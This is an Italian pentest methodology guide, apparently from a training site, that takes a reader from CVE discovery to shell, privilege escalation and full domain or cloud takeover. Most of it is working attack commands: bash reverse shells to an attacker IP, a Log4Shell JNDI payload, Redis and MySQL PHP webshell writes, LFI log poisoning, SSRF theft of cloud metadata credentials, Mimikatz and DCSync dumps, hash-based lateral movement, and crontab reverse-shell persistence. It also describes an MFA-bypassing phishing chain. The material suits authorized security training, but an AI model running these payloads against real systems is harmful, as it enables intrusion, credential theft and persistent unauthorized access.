guides-resources

Vulnerability Exploitation: il framework pratico per passare da CVE a shell

Vulnerability Exploitation: il framework pratico per passare da CVE a shell

Scopri il metodo giusto per trasformare una vulnerabilità in accesso reale: discovery, validation, prioritization, exploit selection, weaponization, execution e post-exploitation nel penetration testing.

  • Pubblicato il 2026-04-01
  • Tempo di lettura: 8 min

Executive Summary — Il vulnerability exploitation è il cuore del penetration testing: il momento in cui una vulnerabilità teorica diventa accesso reale. Ma tra “ho trovato una CVE” e “ho una shell” c’è un processo strutturato: identificazione, validazione, prioritizzazione, weaponization, esecuzione e post-exploitation. Questo articolo è il framework che collega tutte le tecniche — dalla scansione alla compromissione. Non è un elenco di exploit: è la metodologia per scegliere, adattare e sfruttare la vulnerabilità giusta nel contesto giusto.

text
> **TL;DR**
>
> - L'exploitation segue un processo: Discover → Validate → Prioritize → Weaponize → Execute → Post-Exploit
> - Non ogni vulnerabilità va sfruttata — prioritizza per impatto, affidabilità e stealth
> - L'exploit "out of the box" funziona nel 40% dei casi — il restante 60% richiede adattamento

Perché Serve un Framework #

Un pentester junior trova una CVE e lancia l’exploit. Un pentester senior valuta 10 vulnerabilità, ne seleziona 2 in base al contesto, adatta l’exploit al target specifico ed entra senza crashare nulla. La differenza è il framework decisionale.

L’exploitation non è “lancia Metasploit e spera”. È un processo analitico:

text
1. DISCOVER  — Trova tutte le vulnerabilità (scanning + manual)
2. VALIDATE  — Conferma che la vulnerabilità esiste realmente
3. PRIORITIZE — Scegli quale sfruttare (impatto × probabilità × stealth)
4. WEAPONIZE — Trova/adatta l'exploit
5. EXECUTE   — Sfrutta la vulnerabilità
6. POST-EXPLOIT — Consolida l'accesso, escala, muoviti lateralmente

1. Discover — Trovare le Vulnerabilità #

Scanning automatizzato #

Lo scanning è il punto di partenza — ma non il punto di arrivo. Gli scanner trovano le vulnerabilità note (CVE), non le misconfiguration custom.

Network scanning:

bash
nmap -sV -sC --script vuln -p- 10.10.10.40 -oA vuln_scan
text
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1
80/tcp  open  http     Apache httpd 2.4.49
443/tcp open  ssl/http Apache httpd 2.4.49
| http-vuln-cve2021-41773:
|   VULNERABLE:
|   Path Traversal + RCE in Apache 2.4.49
|   CVE: CVE-2021-41773
|   Risk: HIGH

Per la guida completa a nmap e ai suoi script NSE.

Vulnerability scanner dedicati:

bash
# Nuclei (template-based, veloce)
nuclei -u http://10.10.10.40 -t cves/ -severity critical,high
text
[CVE-2021-41773] [http] [critical] http://10.10.10.40
[CVE-2021-44228] [http] [critical] http://10.10.10.40:8080

Web application scanning:

bash
nikto -h http://10.10.10.40
bash
# SQLMap per SQL injection
sqlmap -u "http://10.10.10.40/page?id=1" --batch --level=3 --risk=3

Per il testing SQL injection completo.

Discovery manuale #

Gli scanner non trovano tutto. La discovery manuale trova:

  • Misconfiguration custom (servizi senza auth, default credentials)
  • Business logic flaws (autenticazione bypassabile, IDOR)
  • Chained vulnerabilities (XSS + CSRF = account takeover)
  • Informazioni esposte (directory listing, .git, .env, backup)
bash
gobuster dir -u http://10.10.10.40 -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -x php,bak,old,env
bash
gobuster vhost -u http://corp.local -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

La Google Hacking Database su Exploit-DB ha centinaia di dork per trovare file esposti, backup e pannelli admin indicizzati.

Classificazione delle vulnerabilità trovate #

TipoEsempioImpatto
RCE (Remote Code Execution)CVE-2021-41773, Log4ShellCritico — shell remota
Auth BypassDefault credentials, SQLi auth bypassAlto — accesso non autorizzato
File Read (LFI/Path Traversal)LFI → /etc/shadow, config filesAlto — credenziali
SQL InjectionSQLi → dump databaseAlto — dati sensibili, potenziale RCE
SSRFSSRF → cloud metadata (IMDS)Alto — cloud privesc
XSSStored XSS → cookie theftMedio — session hijacking
MisconfigurationSMB null session, Redis no authVariabile — da info disclosure a RCE
DoSResource exhaustionBasso nel pentest — non dà accesso

2. Validate — Confermare la Vulnerabilità #

Lo scanner dice “vulnerabile” — ma è vero? I false positive sono comuni (20-40% nei scan automatici). Validare prima di sfruttare.

Validazione per tipo #

CVE con version check:

bash
# Lo scanner dice CVE-2021-41773 su Apache 2.4.49
# Verifica manuale della versione:
curl -s http://10.10.10.40/ -I | grep Server
text
Server: Apache/2.4.49 (Ubuntu)

Versione confermata. Ora test non-distruttivo:

bash
curl -s "http://10.10.10.40/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd"

Se mostra /etc/passwd → vulnerabile confermato.

Differenza tra “versione vulnerabile” e “realmente sfruttabile”:

text
Versione vulnerabile ≠ sfruttabile

Ragioni per cui un exploit potrebbe fallire anche con la versione "giusta":
- Patch backported senza cambiare il banner di versione
- WAF / mod_security / reverse proxy che filtra il payload
- Architettura diversa (x86 vs ARM)
- Modulo richiesto non abilitato (CGI per CVE-2021-41773)
- Compilazione con hardening (ASLR, PIE, stack canary)
- Configurazione custom che mitiga il path vulnerabile

SQL injection validation:

bash
# Test boolean-based
curl "http://10.10.10.40/page?id=1 AND 1=1"

Pagina normale.

bash
curl "http://10.10.10.40/page?id=1 AND 1=2"

Pagina diversa o errore → SQLi confermata.

SSRF validation:

bash
# Test con server controllato
curl "http://10.10.10.40/fetch?url=http://YOUR_SERVER:8080/ssrf_test"

Se ricevi la richiesta HTTP sul tuo server → SSRF confermata.

Default credentials su servizi specifici:

Per il credential testing service-by-service: MySQL (root:vuota), MSSQL (sa:sa), MongoDB (no auth), Redis (no auth), Tomcat (tomcat:s3cret), cPanel (credenziali FTP riusate).

3. Prioritize — Scegliere Cosa Sfruttare #

Non tutte le vulnerabilità vanno sfruttate. In un pentest hai tempo limitato. Scegli con metodo.

Matrice di prioritizzazione #

CriterioPesoDomanda
ImpattoAltoCosa ottengo? RCE > file read > info disclosure
AffidabilitàAltoL’exploit è stabile? Verificato su Exploit-DB?
StealthMedioQuanto rumore fa? (critico nel red team)
RischioAltoPuò crashare il servizio? (produzione = zero tolerance)
EffortBassoQuanto tempo per weaponizzare?

Esempio decisionale #

text
Vulnerabilità trovate su 10.10.10.40:

1. Apache 2.4.49 RCE (CVE-2021-41773) — CVSS 9.8
2. SQL injection nel form di login — non ancora testata a fondo
3. Redis 6.0 senza auth — porta 6379 esposta
4. OpenSSH 8.2 — nessun CVE critico noto
5. Directory listing su /backup/ — file .sql esposti

Prioritizzazione:
├── 1° Redis senza auth    → RCE certo, zero rischio, 2 minuti
├── 2° Backup .sql esposti → credenziali probabili, zero rischio, 1 minuto
├── 3° Apache RCE          → RCE certo, exploit verificato, 5 minuti
├── 4° SQL injection       → impatto incerto, richiede testing
└── 5° OpenSSH             → skip, nessun exploit

Regola operativa: parti dalle vulnerabilità a basso rischio e alto impatto (misconfig, default credentials, servizi senza auth). Poi passa a exploit RCE verificati. Lascia per ultimi exploit instabili e kernel exploit.

CVSS non è tutto #

Il CVSS score misura la gravità teorica. Nel pentest serve il contesto:

text
CVE-2021-41773 (CVSS 9.8) su un Apache che serve solo una pagina statica
→ RCE come www-data su un server senza dati sensibili → impatto reale: medio

Redis senza auth (CVSS variabile) su un server con credenziali cloud in env
→ RCE + AWS keys → account cloud completo → impatto reale: critico

4. Weaponize — Preparare l’Exploit #

Fonti di exploit ordinate per affidabilità #

FonteAffidabilitàQuando
Exploit-DB verifiedAltaPrima scelta — exploit testati
Metasploit modulesAltaExploit + payload + handler integrati
GitHub PoC (autori noti)MediaCVE recenti (<6 mesi)
GitHub PoC (autori ignoti)BassaSolo dopo code review approfondita
Blog / write-upVariabilePer capire il “come”, poi scrivi tu l’exploit

Workflow di weaponization #

Step 1: Cerca l’exploit

bash
searchsploit apache 2.4.49
text
Apache HTTP Server 2.4.49 - Path Traversal & RCE | exploits/multiple/webapps/50383.py
bash
# Se Exploit-DB non ha nulla:
# GitHub → cerca "CVE-XXXX-XXXX PoC"
# Google → "CVE-XXXX-XXXX exploit python"
# Metasploit → search cve:XXXX-XXXX

Step 2: Leggi il codice (sempre, senza eccezioni)

bash
searchsploit -x 50383

Checklist — dettagliata nella guida Exploit-DB:

text
□ Linguaggio e dipendenze (Python 2 o 3? Richiede requests, pwntools?)
□ Parametri da configurare (RHOST, RPORT, LHOST, LPORT, path)
□ Tipo di payload (reverse shell? webshell? file read?)
□ Side effects (crash? file scritti? utenti creati? log?)
□ Codice sospetto (callback a IP non tuoi? download di binari?)

Step 3: Adatta al target

python
# Nell'exploit, cerca e modifica:
RHOST = "10.10.10.40"      # IP del target
RPORT = 80                  # Porta del servizio
LHOST = "10.10.10.200"     # Tuo IP
LPORT = 4444                # Porta del tuo listener
PATH  = "/cgi-bin/"         # Path specifico dell'app (verifica con gobuster)

Step 4: Prepara il listener

bash
nc -lvnp 4444
bash
# Oppure con rlwrap per history/editing
rlwrap nc -lvnp 4444
bash
# Meterpreter per funzionalità avanzate
msfconsole -q -x "use multi/handler; set payload linux/x64/shell_reverse_tcp; set LHOST 10.10.10.200; set LPORT 4444; run"

Step 5: Testa in lab se possibile

bash
# Docker per riprodurre il target
docker run -d -p 8080:80 httpd:2.4.49
python3 exploit.py http://127.0.0.1:8080 "id"

Se funziona in lab → procedi sul target reale.

Quando l’exploit non funziona “out of the box” #

ProblemaCausaFix
Connection refusedPorta/IP erratiVerifica con nmap
Exploit silenziosoVersione diversa, offset sbagliatoLeggi il codice, confronta con la CVE advisory
ModuleNotFoundErrorDipendenza Python mancantepip install [modulo]
400 Bad RequestPath o header non correttiIntercetta con Burp, confronta con la documentazione CVE
Reverse shell non arrivaFirewall outboundProva porte 443, 80, 53 (quasi sempre permesse)
Exploit per Python 2Vecchio codice2to3 exploit.py o converti manualmente
WAF bloccaPattern matchingEncoding (URL, base64, double encoding), payload diverso
Segfault su buffer overflowOffset errato per il targetRicalcola con pattern_create / pattern_offset

5. Execute — Exploitation per Categoria #

5.1 Remote Code Execution (RCE) #

Il tipo più diretto: esegui codice sul target da remoto.

CVE exploit diretto:

bash
python3 50383.py http://10.10.10.40 "id"
text
uid=33(www-data) gid=33(www-data)

Funziona. Ora reverse shell:

bash
python3 50383.py http://10.10.10.40 "bash -c 'bash -i >& /dev/tcp/10.10.10.200/4444 0>&1'"

Log4Shell (CVE-2021-44228):

bash
# Inject nel header
curl -H 'X-Api-Version: ${jndi:ldap://10.10.10.200:1389/exploit}' http://10.10.10.40:8080/

Servizi senza autenticazione → RCE:

bash
# Redis senza auth → webshell
redis-cli -h 10.10.10.40
> config set dir /var/www/html
> config set dbfilename shell.php
> set payload "<?php system($_GET['c']); ?>"
> save
bash
curl "http://10.10.10.40/shell.php?c=id"

Per l’exploitation dettagliata: Redis.

bash
# Docker API esposta → root diretto
docker -H tcp://10.10.10.40:2375 run -v /:/mnt --rm -it alpine chroot /mnt bash

Per il dettaglio completo: porta 2375 Docker.

5.2 SQL Injection → Dati e Shell #

bash
# Dump database
sqlmap -u "http://10.10.10.40/page?id=1" --dbs
bash
sqlmap -u "http://10.10.10.40/page?id=1" -D webapp -T users --dump
text
+----+----------+----------------------------------+
| id | username | password                         |
+----+----------+----------------------------------+
| 1  | admin    | 5f4dcc3b5aa765d61d8327deb882cf99 |
+----+----------+----------------------------------+

Hash MD5 → cracka con hashcat (-m 0).

bash
# OS shell se il DB gira con privilegi alti
sqlmap -u "http://10.10.10.40/page?id=1" --os-shell
bash
# MySQL manuale → file write → webshell
mysql -h 10.10.10.40 -u root -p''
> SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/var/www/html/cmd.php';

Per l’exploitation MySQL completa inclusi UDF e file read con LOAD_FILE().

5.3 File Read / LFI → Credenziali → Accesso #

bash
curl "http://10.10.10.40/page?file=../../../../etc/passwd"
bash
curl "http://10.10.10.40/page?file=../../../../etc/shadow"
bash
# Credenziali web app
curl "http://10.10.10.40/page?file=../../../../var/www/html/wp-config.php"
text
define('DB_PASSWORD', 'Pr0dP@ss!');

Testa la password ovunque: SSH, MySQL, SMB, web login. Il credential reuse è la norma.

LFI → Log Poisoning → RCE:

bash
# Inietta PHP nel User-Agent (finisce nel log Apache)
curl -A "<?php system(\$_GET['c']); ?>" http://10.10.10.40/
bash
# Includi il log via LFI → il PHP viene eseguito
curl "http://10.10.10.40/page?file=../../../../var/log/apache2/access.log&c=id"

5.4 SSRF → Cloud Metadata → Escalation #

bash
curl "http://10.10.10.40/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
text
EC2-AdminRole
bash
curl "http://10.10.10.40/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2-AdminRole"
json
{
  "AccessKeyId": "ASIAIOSFODNN7TEMP",
  "SecretAccessKey": "tempSecret...",
  "Token": "FwoGZXIvY..."
}

Con queste credenziali → AWS privilege escalation. Da una SSRF in una web app arrivi a controllare l’intero account cloud.

5.5 Credential Attack #

bash
# Password spray su SMB
crackmapexec smb 10.10.10.0/24 -u users.txt -p 'Corp2026!'
bash
# Brute force SSH
hydra -L users.txt -P passwords.txt 10.10.10.40 ssh
bash
# Kerberoasting (Active Directory)
GetUserSPNs.py corp.local/j.smith:'Password123!' -dc-ip 10.10.10.10 -request
hashcat -m 13100 tgs_hash.txt wordlist.txt

Per il credential dumping con DCSync dopo Domain Admin. Per l’estrazione credenziali da memoria Windows: Mimikatz.

6. Post-Exploitation — Consolidare e Avanzare #

L’exploit ti dà un punto d’appoggio. Il post-exploitation ti dà il dominio.

Stabilizza la shell #

bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
bash
# Ctrl+Z poi:
stty raw -echo; fg
export TERM=xterm

Per tutti i metodi di shell upgrade: top 100 comandi Linux.

Enumera e escala #

Linux:

bash
curl http://10.10.10.200:8080/linpeas.sh | bash

Per la linux enumeration completa e la linux privilege escalation.

Windows:

text
whoami /all
winPEAS.exe

Credential harvesting #

Linux:

bash
cat /etc/shadow
bash
grep -riE "password|secret" /var/www/ /opt/ /home/ 2>/dev/null
bash
env | grep -i pass

Windows → Mimikatz:

text
mimikatz # sekurlsa::logonpasswords
mimikatz # lsadump::dcsync /domain:corp.local /user:Administrator

Lateral Movement #

bash
crackmapexec smb 10.10.10.0/24 -u admin -H HASH --shares
bash
psexec.py -hashes :HASH corp.local/admin@10.10.10.50
bash
evil-winrm -i 10.10.10.50 -u admin -H HASH

Persistenza #

bash
# Linux: SSH key injection
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys
bash
# Linux: crontab
echo "* * * * * bash -c 'bash -i >& /dev/tcp/10.10.10.200/4444 0>&1'" | crontab -

Per i container: container escape se atterri in un Docker/Kubernetes.

7. Kill Chain Complete — Esempi End-to-End #

Chain 1: Web RCE → Privesc → Domain #

text
Nmap → Apache 2.4.49 (CVE-2021-41773)
→ RCE come www-data
→ LinPEAS → SUID python3 con cap_setuid
→ python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
→ root sul web server
→ wp-config.php → credenziali DB
→ MySQL dump → hash WordPress → hashcat → password admin
→ Password reuse su SMB → accesso workstation
→ Mimikatz → hash Domain Admin
→ DCSync → hash krbtgt → Golden Ticket → dominio completo

Chain 2: Phishing → Cloud Takeover #

text
Phishing email (GoPhish) → utente clicca
→ Evilginx cattura session cookie (bypass MFA)
→ Accesso Office 365 → OneDrive → file .env con AWS keys
→ enumerate-iam → iam:PassRole + lambda:CreateFunction
→ Lambda con ruolo Admin → AdministratorAccess
→ Account AWS completo

Per la campagna phishing e il social engineering.

Chain 3: Misconfig → Internal Network → AD #

text
Redis esposto (no auth) → webshell → shell come redis
→ sudo -l → (ALL) NOPASSWD: /usr/bin/find
→ sudo find / -exec /bin/bash \; → root
→ /etc/exports: /home *(rw,no_root_squash) → pivot point
→ ARP → 10.10.10.50 (DC)
→ SSH tunnel → crackmapexec → password spray
→ Domain Admin → DCSync → Golden Ticket

8. Cheat Sheet Finale #

Workflow #

text
DISCOVER → nmap, nuclei, nikto, gobuster, burp, manual
VALIDATE → curl, test non-distruttivo, PoC minimo
PRIORITIZE → impatto × affidabilità ÷ rischio
WEAPONIZE → searchsploit, GitHub, Metasploit, adatta parametri
EXECUTE → exploit + listener pronto
POST-EXPLOIT → enumera, escala, credential harvest, lateral, persist

Quick Reference per tipo di vulnerabilità #

VulnerabilitàTool primarioPrimo comando
CVE notasearchsploitsearchsploit [service] [version]
SQL injectionsqlmapsqlmap -u "URL?param=1" --dbs
Default credshydrahydra -l admin -p admin target ssh
Service no-authclient nativoredis-cli, mongo, mysql
LFI/Path traversalcurlcurl "URL?file=../../../../etc/passwd"
SSRFcurlcurl "URL?url=http://169.254.169.254/"
SMBcrackmapexeccme smb target -u user -p pass
Active DirectoryimpacketGetUserSPNs.py, secretsdump.py
Kernelles.shbash les.sh
Web RCEexploit specificopython3 exploit.py target cmd
Credential dumpmimikatzsekurlsa::logonpasswords

Troubleshooting rapido #

SintomoProbabile causaAzione
Exploit silenziosoVersione/config diversaVerifica banner, leggi codice exploit
Reverse shell non arrivaFirewall outboundUsa porta 443/80/53
Shell muore subitoProcesso parent terminanohup, migra processo
WAF blocca payloadPattern detectionEncoding, obfuscation
Credenziali non funzionanoPassword diversa per servizioTesta su TUTTI i servizi
Exploit crashTarget diverso da quello testatoLab test, exploit alternativo

Riferimento: PTES, OWASP Testing Guide, MITRE ATT&CK, OSCP/OSEP methodology. Uso esclusivo in ambienti autorizzati.

hackita.it/supportohackita.it/servizi.

#pentest-methodology #vulnerability-exploitation

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.